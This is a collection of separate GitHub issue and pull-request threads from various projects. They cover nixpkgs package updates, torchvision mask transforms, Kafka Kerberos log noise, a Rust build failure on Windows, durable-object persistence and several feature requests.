wio: unstable-2024-03-23 -> 0.17.3-unstable-2024-04-30

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for wio is: Wayland compositor similar to Plan 9's rio
meta.homepage for wio is: https://github.com/Rubo3/wio
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes

Compare changes on GitHub

Impact
Checks done

built on NixOS
The tests defined in passthru.tests, if any, passed
found 0.17.3-unstable-2024-04-30 in filename of file in /nix/store/da9q36f8v5cskphw76ml1q27npl0rvhy-wio-0.17.3-unstable-2024-04-30

Rebuild report (if merged into master) (click to expand)

2 total rebuild path(s)

2 package rebuild(s)

First fifty rebuilds by attrpath

wio

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/da9q36f8v5cskphw76ml1q27npl0rvhy-wio-0.17.3-unstable-2024-04-30 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A wio https://github.com/r-ryantm/nixpkgs/archive/e08db1210ab650c47ef6add5c5efe3cce87b1dd2.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/e08db1210ab650c47ef6add5c5efe3cce87b1dd2#wio

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/da9q36f8v5cskphw76ml1q27npl0rvhy-wio-0.17.3-unstable-2024-04-30
ls -la /nix/store/da9q36f8v5cskphw76ml1q27npl0rvhy-wio-0.17.3-unstable-2024-04-30/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review --extra-nixpkgs-config '{ allowInsecurePredicate = x: true; }' run on x86_64-linux 1

1 package built:

wio

Maintainer pings
cc @AndersonTorres for testing.

@NixOS/nixpkgs-merge-bot merge


Dont display price component until after initial render

https://stacker.news/items/313119
Currently, the price of bitcoin briefly flashes before the user's selected ticker appears in the header. The fix could involve waiting until after the initial render to display the user's selection, and defaulting to the fiat price of bitcoin.

Thanks! Welcome to the team!
Please send drop a lightning address here so I can send you so sats.

<EMAIL_ADDRESS>


[RFC] Implement transforms primitives for Segmentation Masks

Related tracker issue: #5754
Functional transforms for segmentation masks
The idea is to implement the following low-level functional transforms for segmentation masks:
https://github.com/pytorch/vision/blob/main/torchvision/prototype/transforms/functional/_geometry.py

[x] affine_segmentation_mask (@vfdev-5) #5613
[x] rotate_segmentation_mask (@vfdev-5) #5692
[ ] perspective_segmentation_mask (@vfdev-5)
[ ] center_crop_segmentation_mask
[ ] crop_segmentation_mask (@vfdev-5)
[ ] resized_crop_segmentation_mask (@vfdev-5)
[ ] pad_segmentation_mask
[ ] vertical_flip_segmentation_mask

How to test the implementation ?
Put tests into test/test_prototype_transforms_functional.py:

correctness test
eager vs scripted
scriptable
check on cpu and cuda

cc @vfdev-5 @datumbox @bjuncek

Hi @vfdev-5,
I would like to work on vertical_flip_segmentation_mask primitive.

@federicopozzi33 sure, go ahead!

Related: https://github.com/pytorch/vision/issues/4415

@vfdev-5,
I'd like to go on with pad_segmentation_mask primitive.

Thanks @federicopozzi33 , sure go ahead !

I'd like to complete this issue doing center_crop_segmentation_mask.

@pmeier in order to close this tracker as done we have to add more correctness tests for padding with other padding modes (https://github.com/pytorch/vision/pull/5866/files#r859158083)
pad_segmentation_mask uses pad_image_tensor and right now we does not have any tests for pad_image_tensor. I suggest to check correctness with one of suggested ways (from the link above). Later these tests could be reused for checking pad_image_tensor.
Any other suggestions from your side ?

Nope, sounds like a good plan.

I'm closing this tracker as done


Add debug info in assert_has_event and assert_last_event

The original error only had a panic(panicked at 'assertion failed: Self::events().iter().any(|record| record.event == event)), and there was no intuitive debug information.
A custom panic message is now added to help with debugging.

@paritytech/ci Looks like the "Check reviews" job didn't detect my approval because it is expecting my old username ("m-cat").

bot merge


autogenerate_files.py: Provide meaningful error message when clang-format fails

autogenerate_files.py formats the generated files using clang-format. When the call to clang-format fails, however, no indication about the source of the error is given. The script should at least print the error log of the attempted invocation.
Noted in #579

Resolved by #586


I want to know about connect cst816 to nrf5340

I've connected cst816 to nrf5340 but touch panel isn't work correctly
Please help me.
Thanks

I agree because the touchscreen is constantly polling so the nrf5340 or any cc1101 just the transmissions get interrupted they don't even send i've been trying to find a workaround for this and taking me forever to figure it out -.-

Dear both,
I don't have that setup, so I don't see how I can help here.. The error description provided is also not enough to even try. Please note: polling should not be needed.
I am creating an update for this library for a CST816 based setup with another firmware level and without the reset PIN connected (as-in: the T-Display S3 AMOLED). That chip (firmware) doesn't support the gestures, which I do want. I will add software support for this scenario.
Maybe that will help you out as well.


Add tutorial for render state notation and packager

Add a tutorial that will demonstrate the usage of render state notation and packager
The build step of the tutorial should use the packager tool to pack the render state into the archive
The tutorial should provide options to create pipeline states directly from JSON file or unpack them from the archive (a drop-down)

As an example, implement simple path tracer of a procedural cornell box


Add tini bin from openshift origin-release image

Adding the tini bin from the openshift origin-release image to FRR container Dockerfile.

lets hold this ART team they will add tini to rhel-8-base-openshift-4.10 , also if we switch to multi stage build there will be additional changes needed to ART side https://github.com/openshift/ocp-build-data/blob/openshift-4.10/images/ose-frr.yml#L16-L17

lets hold this ART team they will add tini to rhel-8-base-openshift-4.10 , also if we switch to multi stage build there will be additional changes needed to ART side https://github.com/openshift/ocp-build-data/blob/openshift-4.10/images/ose-frr.yml#L16-L17

ok

/hold

was fixed in another commit


solution proposal: Snel

solution proposal:
regenerate frontend / client / browser part using https://github.com/crewdevio/Snel#what-do-i-need-to-start-using-snel
--> with this you can use deno modules
Originally posted by @michael-spengler in https://github.com/Qusay99/security-alert-for-safety/issues/18#issuecomment-1031464913

Unfortunately, the implementation with Snel did not help us.
After we installed Snel and wanted to use it for our project, we got the same error message as in (https://github.com/Qusay99/security-alert-for-safety/issues/17)
I couldn't find any examples for importing Deno Modules into Svelt/Snel Projekt on the Internet either, so I didn't have any comparison resources available to find the error or a solution by comparing the configurations or by taking an idea of how I should have done it.

problem solved


Fixed #33309 -- Fixed QuerySet.distinct() crash on mixed case annotation.

Created after my previous PR (https://github.com/django/django/pull/15118) because I originally checked out from the wrong branch (I thought the patch will be backported to 3.2). @felixxm
Ticket link : https://code.djangoproject.com/ticket/33309
Quotes the name of the fields when performing a distinct on query to fix the ProgrammingError bug.

buildbot, test this please.


Possible integrations with... integrations

Note that I've just started merging some PRs in this repo. https://github.com/sveltejs/integrations
It would be good to think about

[ ] is it a data-source, source of truth, or otherwise?
[ ] Do we want to use it in-situ, adopt it, make it indexable?

among other things.

i have no idea at all 😅 never used that repo

I could see this living on the site. Seems to be closely related to what we're doing here at least. Could either use it as a SoT and move it over once the back-end is ready.

thoughts?

i reckon we let this slide for now, not a high priority in my mind.


Ask a question about buttons  of the button

Ask a question about buttons
Manually set the current status of the button
How to use the lv_btn_set_state instruction in the mpy+lvgl system?

Hello!
Every lv_ function can be divided into 2 main groups in MicroPython code:

Class methods: can be used independent from any LVGL object instance, or enums, constants, constructors, etc. For example: lv.button() = create new button, lv.obj.FLAG.HIDDEN = object hidden flag
Instance methods: after LVGL object is created, we can call methods bound to it. For example: lbl.set_text() = set lv.label object's text, btn.set_state() = set a button object's state

Basically wherever you see lv_xxx_yyyy() widget functions in LVGL documentation, you can "translate" those to: xxx.yyyy().
In your case:
there is no "set_state" function, but add_state and remove_state on the object:

C code: lv_obj_add_state(btn1, LV_STATE_DISABLED)
MP code: btn1.add_state(lv.STATE.DISABLED)

Best regards, thank you very much!
Your selfless answer!


Feature Request : Read-only component (viewer component)

Thanks for the great library.
It would be great if it came with a dedicated component for displaying pre-written markdown strings on the screen.
(It would also be fantastic if the user could select and copy some of the text in iOS/Android)

@floydkim Thanks a lot! See draft PR #125.

@tomekzaw Wow 😲  Thanks for sharing.
Hope your work goes well.

@floydkim Thanks a lot! See draft PR #125 which adds MarkdownText component.

Can't wait for this to be merged!


[WIP] Add flex_limit and flex_max

[x] --flex_limit hard limit for the number of flexible residues; docking is not performed if the number of flexible residues is greater than --flex_limit
[ ] --flex_max soft limit for the number of flexible residues; only the --flex_max closest residues to the ligand are retained

I'm working on the second part ATM. I'll open a new PR when it's ready.


Use COPY instead of ADD in Dockerfile

Fixing code quality issues reported here: https://app.codacy.com/gh/namely/docker-protoc/issues/current?patternIds=Hadolint_DL3020

Ping @abe545

Ping @abe545

Ping @abe545


Increase test coverage

Tests will be quite hard to do, since most of the code are TCP requests.
Any tips and suggestions are welcome, and greatly appreciated!

Have you considered using rostest? They're basically a test of the external interface of nodes. It wouldn't be incredibly specific, but would be good for general tests (ensuring that various types of messages sent are formed correctly, etc.) and testing rosrust against other ROS implementations.


Error: IP already assigned

I installed LinK on 3 devices. On all 3 devices I have etcd working perfectly and on each device I run LinK:

On device 1 I run:
./link-client --user link --password Passw0rd add <IP_ADDRESS>/32
and I get:

On device 2 I run the same command and I get:
Error: IP already assigned
Must be missing something. This is a very interesting concept, hence I would like to get it to work.
Error: IP already assigned

I currently fail to reproduce the problem you have here. Here is the steps I did to try to reproduce your problem:

Start LinK on my local work station:docker compose up

Add an IP to a first LinK agent:link-client --host localhost:1313 -u link -p password add <IP_ADDRESS>/32
link-client --host localhost:1313 -u link -p password list
+------------------------------------------+------------------+-----------+--------+
|                    ID                    |        IP        |  STATUS   | CHECKS |
+------------------------------------------+------------------+-----------+--------+
| vip-5dc626b6-8faf-415d-ab68-fffed7fdb73b | <IP_ADDRESS>/32 | ACTIVATED | None   |
+------------------------------------------+------------------+-----------+--------+

Add the same IP to a second LinK agent:link-client --host localhost:1314 -u link -p password add <IP_ADDRESS>/32
link-client --host localhost:1313 -u link -p password list
+------------------------------------------+------------------+-----------+--------+
|                    ID                    |        IP        |  STATUS   | CHECKS |
+------------------------------------------+------------------+-----------+--------+
| vip-5dc626b6-8faf-415d-ab68-fffed7fdb73b | <IP_ADDRESS>/32 | ACTIVATED | None   |
+------------------------------------------+------------------+-----------+--------+
link-client --host localhost:1314 -u link -p password list
+------------------------------------------+------------------+---------+--------+
|                    ID                    |        IP        | STATUS  | CHECKS |
+------------------------------------------+------------------+---------+--------+
| vip-8a913cbf-003d-4aca-8ea0-70745cd2ced8 | <IP_ADDRESS>/32 | STANDBY | None   |
+------------------------------------------+------------------+---------+--------+

I understand this is not exactly the setup you have but that may be a way for you to investigate, by comparing the local configuration and the one you have on your servers.
The error "IP already assigned" is returned here:
https://github.com/Scalingo/link/blob/e99441bea7ba1dd8ed0b79a9f26d970bf1b56bd3/scheduler/scheduler.go#L74-L81
Are you sure your call to link-client to add the IP to a second agent targets the intended agent? Maybe explicit the agent to target with--host?


Non github user

Can you add support to use our own custom git server. I use gitea (will be migrating to gitlab) and would love to be able to use my own server for the notes and auth.

That‘s the same as #59 I think? For duplicate organization…

+1


Fetching unique questions

During a session if you want to fetch more questions, ensure that you don't fetch the same questions twice.

Send a list of already used questions with the request.


swego: 0.94 -> 0.97

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://github.com/nodauf/Swego/releases.
meta.description for swego is: "Simple Webserver in Golang"
meta.homepage for swego is: "https://github.com/nodauf/Swego"
meta.changelog for swego is: ""
Updates performed

Golang update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact

Checks done (click to expand)

built on NixOS

The tests defined in passthru.tests, if any, passed

/nix/store/fhdbahs6ziw3qb1q4fi818dzd952wh30-swego-0.97/bin/swego passed the binary check.

1 of 1 passed binary check by having a zero exit code.

0 of 1 passed binary check by having the new version present in output.

found 0.97 with grep in /nix/store/fhdbahs6ziw3qb1q4fi818dzd952wh30-swego-0.97

found 0.97 in filename of file in /nix/store/fhdbahs6ziw3qb1q4fi818dzd952wh30-swego-0.97

directory tree listing: https://gist.github.com/414aeeb280d4d3beab01f577e065a3f8

du listing: https://gist.github.com/4e958cdcd70311c65a27a1b2b4e49797

Rebuild report (if merged into master) (click to expand)

4 total rebuild path(s)

1 package rebuild(s)

1 x86_64-linux rebuild(s)
1 i686-linux rebuild(s)
1 x86_64-darwin rebuild(s)
1 aarch64-linux rebuild(s)

First fifty rebuilds by attrpath
swego

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/fhdbahs6ziw3qb1q4fi818dzd952wh30-swego-0.97 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A swego https://github.com/r-ryantm/nixpkgs/archive/43af21f67c97b11d6fd35b843a64b58c156de23d.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/fhdbahs6ziw3qb1q4fi818dzd952wh30-swego-0.97
ls -la /nix/store/fhdbahs6ziw3qb1q4fi818dzd952wh30-swego-0.97/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

swego

Maintainer pings
cc @fabaff @kalbasit for testing.

Result of nixpkgs-review pr 135363 run on x86_64-linux 1

1 package built:

swego


Thousands of  error messages per day

Description
Hi Team,
We are using authenticated Kafka using key tabs, the authentication is successful and able to consume messages. But every 2 minutes it logs a bunch of below errors, and our monitoring tools generating false alarms as the source is stderr and generating more than 1000-1500 in 5 minutes
source":"stderr",
"log":"%5|1590684389.986|LIBSASL|Bank-Prod#producer-1| [thrd:sasl_ssl://edge03.dl.internalload.Bank.com:6767/bootstrap]: sasl_ssl://edge03.dl.internalload.bank.com:6767/1001: GSSAPI client step 1"
source":"stderr",
"log":"%5|1590684389.986|LIBSASL|Bank-Prod#producer-1| [thrd:sasl_ssl://edge03.dl.internalload.Bank.com:6767/bootstrap]: sasl_ssl://edge03.dl.internalload.bank.com:6767/1001: GSSAPI client step 2"
How to reproduce
Consumer and producer are up and running fine, we don't have any issues. Only issues logging a bunch of false error messages from the library
Checklist
Please provide the following information:

[ ] A complete (i.e. we can run it), minimal program demonstrating the problem. No need to supply a project file.
private ProducerConfig CreateProducerConfig()
{
ProducerConfig producerConfig = new ProducerConfig()
{
ClientId = _kafkaOptions.ClientId,
ApiVersionRequest = true,
BootstrapServers = _kafkaOptions.Authenticated.Brokers,
SecurityProtocol = SecurityProtocol.SaslSsl,
SaslKerberosServiceName = _kafkaOptions.Authenticated.KerberosServiceName
};
     if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
     {
         producerConfig.SaslMechanism = SaslMechanism.Gssapi;
         producerConfig.SslCaLocation = _kafkaOptions.Authenticated.CaFilePath;
     }
     else
     {
         // Linux and MacOS
         producerConfig.SaslKerberosKeytab = _kafkaOptions.Authenticated.KeyTabFilePath;
         producerConfig.SaslKerberosPrincipal = _kafkaOptions.Authenticated.Principal;
     }

     return producerConfig;
 }

 private ConsumerConfig CreateConsumerConfig()
 {
     ConsumerConfig consumerConfig = new ConsumerConfig();
     consumerConfig.GroupId = "Bank.Staging";
     consumerConfig.AutoOffsetReset = AutoOffsetReset.Earliest;
     consumerConfig.ClientId = _kafkaOptions.ClientId;
     consumerConfig.ApiVersionRequest = true;
     consumerConfig.BootstrapServers = _kafkaOptions.Authenticated.Brokers;
     consumerConfig.SecurityProtocol = SecurityProtocol.SaslSsl;
     consumerConfig.AutoOffsetReset = AutoOffsetReset.Earliest;
     consumerConfig.SaslKerberosServiceName = _kafkaOptions.Authenticated.KerberosServiceName;

     if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
     {
         consumerConfig.SaslMechanism = SaslMechanism.Gssapi;
         consumerConfig.SslCaLocation = _kafkaOptions.Authenticated.CaFilePath;
     }
     else
     {
         // Linux and MacOS
         consumerConfig.SaslKerberosKeytab = _kafkaOptions.Authenticated.KeyTabFilePath;
         consumerConfig.SaslKerberosPrincipal = _kafkaOptions.Authenticated.Principal;
     }

     return consumerConfig;
 }

 public async Task ConsumeSavings(CancellationToken cancellationToken)
 {
     ConsumerConfig consumerConfig = CreateConsumerConfig();
     using (IConsumer<Ignore, string> consumer = new ConsumerBuilder<Ignore, string>(consumerConfig).Build())
     {
         consumer.Subscribe(_kafkaOptions.ConsumeSavingsTopic + (!_environment.IsProduction() ? _kafkaOptions.GroupIdSuffix : ""));

         while (!cancellationToken.IsCancellationRequested)
         {
             try
             {
                 ConsumeResult<Ignore, string> consumeResult = consumer.Consume(cancellationToken);
                 ConsumeSavingsModel savings = JsonConvert.DeserializeObject<ConsumeSavingsModel>(consumeResult.Value);
                 string product = savings.GetProductType();

                 if (product.Equals("PERSONAL_LOAN") || product.Equals("BUSINESS_LOAN"))
                 {
                     Guid accountId = savings.GetAccountId();

                     if (!accountId.Equals(Guid.Empty))
                     {

                     }
                     else
                     {

                     }
                 }
             }
             catch (ConsumeException ex)
             {
                 _logger.LogError(LoggingEvents.KafkaConsumptionFailure, ex, "ConsumeSavingsTopic consuming exception");
             }
             catch (Exception e)
             {
                 _logger.LogError(LoggingEvents.ConsumeSavingsTopicGeneralFailure, e, "ConsumeSavingsTopic general failure");
             }
         }
         //Ensure the consumer leaves the group cleanly and final offsets are committed
         consumer.Close();
         _logger.LogInformation(LoggingEvents.Uncategorized, "Finished consuming ConsumeSavingsTopic topic");
     }
 }

[ ] Confluent.Kafka nuget version. - 1.3.0

[ ] Apache Kafka version-1.1.1.

[ ] Client configuration.

[ ] Operating system- Linux .

[ ] Provide logs (with "debug" : "..." as necessary in configuration)- attached above in description.

[ ] Provide broker log excerpts.

[ ] Critical issue- Yes creating fake alerts at midnight.

Google suggests this might be related to clock skew between client and Kerberos server, or that reverse dns is incorrect, which you can disable by setting this in /etc/krb5.conf:
[libdefaults]
rdns=false

Thank you @edenhill! I am running my service in was Fargate container, by any chance do you know where I need to set that?

-Djava.security.krb5.conf This file you mean?

@edenhill  and am not passing the below line last its a Linux container and am using just key tab and principal in my code. Will that be a problem?
SaslMechanism = SaslMechanism.Gssapi,

-Djava.security.. is a Java thing, not relevant to the dotnet client.
You would set that config in /etc/krb5.conf in your linux container

perfect thank you @edenhill !!

@edenhill  how about this line "SaslMechanism = SaslMechanism.Gssapi,"

That's what enables Kerberos, you need it.

awesome thanks one more time !!I will try this thing and update you @edenhill.

Closing as the issue is resolved.


Getting started tutorial does not work on windows

I have tried to run the example on windows 10 and met several issues.

RUST_LOG error
When running from a dos window this command:
- > RUST_LOG=debug cargo run --release --bin rate mmr codeforces
it results in this error error:
The term 'RUST_LOG=debug' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

Compiling errors.
If we somewhat run the other command without the LOG:
cargo run --release --bin rate mmr codeforces
We get a few warnings and a builf fail
warning: build failed, waiting for other jobs to finish... The following warnings were emitted during compilation:
warning: cl : Command line warning D9002 : ignoring unknown option '-Bstatic'
warning: cl : Command line warning D9002 : ignoring unknown option '-lgfortran'
warning: cl : Command line warning D9002 : ignoring unknown option '-lquadmath'
error: build failed

Same issue - I had it working but installed a new OS and now can't remember how I got it to work. Ive installed MSYS2 and MinGW, I've added cargo and gcc to variable path but still failed with 'f128_internal v0.2.2 with the same issues in your error (2)
warning: cl : Command line warning D9002 : ignoring unknown option '-Bstatic'
warning: cl : Command line warning D9002 : ignoring unknown option '-lgfortran'
warning: cl : Command line warning D9002 : ignoring unknown option '-lquadmath'
error: build failed

I have tried on mint linux as well as I had access to another computer but I got an error as well,  maybe that is related:
error: could not compile 'proc-macro2' due to previous error warning: build failed, waiting for other jobs to finish...
error: linking with cc failed: exit status: 1
and:
note: /usr/bin/ld: cannot find Scrt1.o: No such file or directory
          /usr/bin/ld: cannot find crti.o: No such file or directory
          collect2: error: ld returned 1 exit status

Sorry for the delay. I removed the dependency on GCC's 128-bit floats, since experiments have determined the extra precision doesn't help. Do the other issues remain?

@Iqigai RUST_LOG is an environment variable, and apparently those are set differently in Windows: https://stackoverflow.com/questions/18433840/logging-rust-programs
I'll have to update the documentation to reflect this...

Sorry for the delay. I removed the dependency on GCC's 128-bit floats, since experiments have determined the extra precision doesn't help. Do the other issues remain?

I have tried again but I still get the same error. As a matter of fact I did clone the repos anew, but it seems that the default build is the same (it has the same size as the previous one). So unsurprisingly when I have tried to build I got the an error:
D:\Code\Elo-MMR-master\multi-skill>cargo run --release --bin rate mmr codeforces
   Compiling f128_internal v0.2.2
   Compiling serde v1.0.136
   Compiling tokio v1.16.1
   Compiling chrono v0.4.19
   Compiling tracing v0.1.30
   Compiling markup5ever v0.10.1
   Compiling statrs v0.13.0
   Compiling rayon v1.5.1
The following warnings were emitted during compilation:

warning: cl : Command line warning D9002 : ignoring unknown option '-Bstatic'
warning: cl : Command line warning D9002 : ignoring unknown option '-lgfortran'
warning: cl : Command line warning D9002 : ignoring unknown option '-lquadmath'

error: failed to run custom build command for `f128_internal v0.2.2`

Caused by:
  process didn't exit successfully: `D:\Code\Elo-MMR-master\target\release\build\f128_internal-02ef7bd0aedb50c0\build-script-build` (exit code: 1)
  --- stdout
  TARGET = Some("x86_64-pc-windows-msvc")
  OPT_LEVEL = Some("3")
  HOST = Some("x86_64-pc-windows-msvc")
  CC_x86_64-pc-windows-msvc = None
  CC_x86_64_pc_windows_msvc = None
  HOST_CC = None
  CC = None
  CFLAGS_x86_64-pc-windows-msvc = None
  CFLAGS_x86_64_pc_windows_msvc = None
  HOST_CFLAGS = None
  CFLAGS = None
  CRATE_CC_NO_DEFAULTS = None
  CARGO_CFG_TARGET_FEATURE = Some("fxsr,sse,sse2")
  DEBUG = Some("false")
  running: "C:\\BuildTools\\VC\\Tools\\MSVC\\14.29.30133\\bin\\HostX64\\x64\\cl.exe" "-nologo" "-MD" "-O2" "-Brepro" "-W4" "-Bstatic" "-lgfortran" "-lquadmath" "-FoD:\\Code\\Elo-MMR-master\\target\\release\\build\\f128_internal-f4a14b8f27e43686\\out\\src/f128.o" "-c" "src/f128.c"
  cargo:warning=cl : Command line warning D9002 : ignoring unknown option '-Bstatic'
  cargo:warning=cl : Command line warning D9002 : ignoring unknown option '-lgfortran'
  cargo:warning=cl : Command line warning D9002 : ignoring unknown option '-lquadmath'
  f128.c
  src/f128.c(2): fatal error C1083: Cannot open include file: 'quadmath.h': No such file or directory
  exit code: 2

  --- stderr

  error occurred: Command "C:\\BuildTools\\VC\\Tools\\MSVC\\14.29.30133\\bin\\HostX64\\x64\\cl.exe" "-nologo" "-MD" "-O2" "-Brepro" "-W4" "-Bstatic" "-lgfortran" "-lquadmath" "-FoD:\\Code\\Elo-MMR-master\\target\\release\\build\\f128_internal-f4a14b8f27e43686\\out\\src/f128.o" "-c" "src/f128.c" with args "cl.exe" did not execute successfully (status code exit code: 2).

warning: build failed, waiting for other jobs to finish...
The following warnings were emitted during compilation:

warning: cl : Command line warning D9002 : ignoring unknown option '-Bstatic'
warning: cl : Command line warning D9002 : ignoring unknown option '-lgfortran'
warning: cl : Command line warning D9002 : ignoring unknown option '-lquadmath'

error: build failed

@Iqigai gosh that's surprising because not only f128, but your other dependencies (tokio, statrs) also refer to the versions used before the latest commit. Normally I'd suggest a cargo clean, but you already cloned anew hmmm


# could not be cloned.

Trying to get a service setup using this lib however im running into some strange issues with persistance.
For some reason, when doing a filter over an array, it breaks with the error "# could not be cloned.". While debugging, it appears that forcing JS to create a new Array using JSON.parse/stringify, it successfully saves. Although i'm not convinced this hotfix will work 100% of the time.
console.log(
  this.repeat_queue, // [   { event: 'testEvent.created', object: {  }, repeat_count: 0 } ]
  this.repeat_queue.isProxy // true
)

this.repeat_queue = this.repeat_queue.filter(e => e.id != event.id)

console.log(
  this.repeat_queue, // [   { event: 'testEvent.created', object: {  }, repeat_count: 0 } ] - Yes, the array is the same. However its considered dirty due to the Filter (??)
  this.repeat_queue.isProxy // true
)

If you wanted to see the code for yourself:
https://github.com/drivly/webhooks.do/blob/main/src/webhook.durable.js#L119

Poking to see if anything is being done for this issue?

Hi @AggressivelyMeows, apologies for the delay.  I'll take a look this weekend 😄

Overwriting the persist function and forcing the durable to do sanity checks fixes the issue. it should also auto-cast all proxies to their JSON format. But dont quote me on that:
  async persist() {
    let newProps = false
    for (let key of this.state.dirty) {
      const v = this.state[key]

      // Skip functions and promises.
      if (typeof v === 'function') continue
      if (typeof v === 'object' && v instanceof Promise) continue
      if (typeof v === 'undefined') continue

      const value = JSON.parse(JSON.stringify(this.state[key]))

      await this.storage.put(key, value)

      if (!this.state.persisted.has(key)) {
        this.state.persisted.add(key)
        newProps = true
      }

      this.state.dirty.delete(key)
    }

    if (newProps) await this.storage.put('persisted', this.state.persisted)
  }

Thanks @TravisFrankMTG !  @AggressivelyMeows is working for us at Drivly now, and this is a blocking issue on a key feature ... we really appreciate your support here, thank you again!

@AggressivelyMeows The auto-cast to and from JSON is a nice patch!  It introduces quite a bit of overhead compared to the structured clone algorithm, though, so I looked for a different solution.
Your initial observation that the array is considered dirty even though it's deeply equal to the filtered array is a good starting point.  .filter creates a shallow copy of the array.  Shallow copies (even identical array literals) don't pass the strict equality check I was using in the hyperProxy (target[key] !== value), resulting in the property marked dirty.  I'm now using isEqual from lodash to perform a deep comparison, solving this problem.
I was not able to reproduce the original error you described (in my experience, that's the error thrown by the structured clone algorithm).  I briefly thought this might happen when the SCA attempts to clone shallow copies, but that doesn't appear to be the case.  If you can reproduce the error and share it, that would be super helpful. 🙏
I released v0.2.0-rc1 with these changes, can you pull that in and comment out your persist & clone hotfixes and let me know if it solves the issue?  Thanks!


Add Wolfram CA Coding Challenge

Still needs the index image and description

wolfram-alpha -> wolfram-ca?

possible links to add (discussed in video):

noc website
noc preorder


Wired to another cortical in CB without confirm

https://github.com/feagi/brain-visualizer/assets/65916520/a3472b48-a49a-46dc-a3ab-d1a0f7c71230

persists on June 14 2024

fixed


How to use BOOST Library in ARM

As title，which command should I use to install boost in ARM architecture？

On windows you can try below commands:
./vcpkg install boost:arm-windows: this is community supported triplet which not tested in CI pipeline.
./vcpkg install boost:arm64-windows:  this is official supported triplet.

@zhangbowei, please reopen this issue if it still be a question for you.


User-accessible abort mechanism

This would be the runtime version of gh-66, similar to Rust's panic!() or the C++ std::abort().

Oh wait I forgot about the abort() built-in:
https://github.com/asoffer/Icarus/blob/2e94748d1b5bd556244c95727b77d78971ccdfb0/stdlib/core.ic#L95
But I'll leave this open until we have something that accepts a string for the error message (maybe implemented in the Icarus stdlib)

Print and then abort? This feels like LOG(FATAL) which is valuable but needs a lot of design work.


Add checkbox for multi-row selections

Hi all,
Is there an easy way to add this functionality as in the link below?
http://www.gyrocode.com/projects/jquery-datatables-checkboxes/
I'd like to have that so I can run actions on multiple items instead of clicking the action on each row item.
Thanks for any input :)

I am seeking for something similar, but looks like our beloved @tabacitu is working on it #37

Hi guys. Haven't made any progress on this yet. Just closing duplicate issues. Let's keep the entire discussion inside the thread @viktorivanov mentioned.
Cheers!


ContextMenu demo in docs isn't working

https://carbon-svelte.vercel.app/components/ContextMenu
Just shows a blank area.

Try right clicking within the iframe.

LOL.. seems I forgot what a ContextMenu is 🤣

Ok but now it really isn't working...

Fixed in v0.38.0


Longer bitfields

Is it possible to display longer registers, 64 bits, 128 bits, or even some custom number x bits?
Thank you,

I believe you just set the bits variable to whatever value you want.  It defaults to 32. So bits: 64 or bits: 128, etc.


Are there any documentation or guidelines for external developers

Thank you for your interest in our project. We acknowledge that the current documentation might not be comprehensive enough, but we're continuously working to improve it. Dingo-Store is a distributed key-value storage engine based on Raft, providing SDK capabilities - you may refer to the examples in the Java section. It also offers an SQL execution engine corresponding to the Dingo project. For the design details of Dingo-Store, please refer to the linked resources Design of Dingo-Store].

OK


Add a WebSocket Client example. As Per issue #465

Add a WebSocket Client example class to match the WebSocket server example.
Motivation:
To provide an example of the usage of the WebSocket client upgrade functionality.
To satisfy issue #465
Modifications:
Added a ‘WebSocketClient’ example with a readme and a target in the package file.
Result:
There is now a WebSocket client example to assist with the creation of a WebSocket client.

@swift-nio-bot please test

@swift-nio-bot test this please

Apologies for the delay. Both done.

@swift-nio-bot test this please


Is there use multiple view layout for different user role?

Hi, I really want to know about server render view (swig) is possible to use multiple layout? , Example
I have 2 user role (Admin, student) in case:

2 user not login I will render login page, So I can use same layout
if Admin login I will render admin page (management page)
if user login I will render a page to separate layout from admin layout , I don't want to use css display:none , ng-show, or ng-if because if someone inspect they will see section that I hide in html

any suggestion or best practice.
Thanks.

@avatarr at that point, your better off creating another client side application for the admin users along side the existing application. Unless your truly worried about people seeing the html, having it display none isn't too big of a deal since they still have to be authenticated to see the data returned from the API request.

Generally, I prefer to use ng-if since it would prevent the html element (and it's children) to be added to the DOM; just a preference of mine really.
But what Cody said is absolutely right. The user would have to be authenticated with the Admin role for any data to be retrieved from the back-end in that case.
Also I agree that having two separate client-side apps would be best in this case.


[BUG] ELB throws 500 bad GW

Tested this with defaults apart from image (I used 23.0.1) and while everything provisions correct, NC never passed the health check and is in a 500 loop.
I unfortunately don't have time to investigate any further today but can follow up as needed over the weekend. I just wanted to flag this to see if anyone else is in the same boat?
I have not tried this with the default image from the template as I want to use the latest available

